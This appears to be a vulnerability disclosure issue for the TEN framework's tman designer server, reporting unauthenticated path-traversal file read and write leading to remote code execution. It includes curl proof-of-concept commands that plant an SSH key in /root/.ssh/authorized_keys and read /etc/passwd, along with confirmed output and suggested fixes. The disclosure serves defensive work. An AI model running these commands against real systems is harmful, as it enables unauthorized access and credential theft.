Unauthenticated arbitrary file read and write (to RCE) via the TMAN Designer file-content API

Author: geo-chenCreated Jun 12, 2026Updated Jun 12, 2026
Labelsbug

Description

The TEN Manager "TMAN Designer" backend (the HTTP server behind tman designer, the documented development UI) exposes file-content endpoints that read and write a caller-supplied filesystem path with no path confinement and no authentication. The server binds 0.0.0.0:49483 by default with any-origin CORS. An unauthenticated network client (or any web page, cross-origin) can therefore read any file the process can read and write any file it can write, which escalates trivially to remote code execution (write ~/.ssh/authorized_keys, a cron file, or a graph/extension file the agent later executes). Confirmed against the real tman designer binary over HTTP: /etc/passwd was read and a file was written outside any intended directory, with no credentials.

core/src/ten_manager/src/designer/file_content/mod.rs:

rust
// read sink (~line 31)
let file_path = request_payload.file_path.clone();
fs::read_to_string(&file_path)          // raw client path, no confinement
// write sink (~lines 68-92)
fs::create_dir_all(parent);
fs::write(file_path, content)           // raw client path + content

Routes (core/src/ten_manager/src/designer/mod.rs ~lines 156 to 158): POST /api/designer/v1/file-content (read) and PUT /api/designer/v1/file-content (write). There is no authentication middleware on the designer app (it only wraps CORS). The default bind is 0.0.0.0 (cmd/cmd_designer.rs ~line 37), port 49483 (constants/mod.rs ~line 48), with Cors::default().allow_any_origin() (cmd_designer.rs ~line 136). This is the documented tman designer surface and is published in the project's docker-compose.

Environment

Steps to reproduce

bash
# write (-> RCE: target an importable/served/authorized_keys path)
curl -X PUT http://TARGET:49483/api/designer/v1/file-content \
  -H 'Content-Type: application/json' \
  -d '{"file_path":"/root/.ssh/authorized_keys","content":"<attacker key>"}'
# read
curl -X POST http://TARGET:49483/api/designer/v1/file-content \
  -H 'Content-Type: application/json' -d '{"file_path":"/etc/passwd"}'

Validated against the tman designer binary (listening 49483): PUT {"file_path":"/tmp/ten_poc","content":"PWNED_BY_TEN_DESIGNER"} returned {"status":"ok"} and wrote the file (and a new directory via create_dir_all); POST {"file_path":"/etc/passwd"} returned {"status":"ok","data":{"content":"root:x:0:0:..."}} (full file). No credentials were sent. (Building tman required a stub for an unrelated native schema-validation library; the server log confirmed zero calls to it on the file-content path, so the std::fs read/write executed as real code.)

Expected behavior

Confine file_path to the intended project/app directory (canonicalize and assert the resolved path is within an allowed root; reject absolute paths and ..) on both the read and write endpoints. Require authentication on the designer API, and bind to loopback by default (do not bind 0.0.0.0 with any-origin CORS for an unauthenticated file API). Restrict writes to the project workspace.

Severity

Critical

Additional Information

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) CWE: CWE-306 Missing Authentication / CWE-22 Path Traversal (arbitrary file read and write)

Source: TEN-framework/ten-framework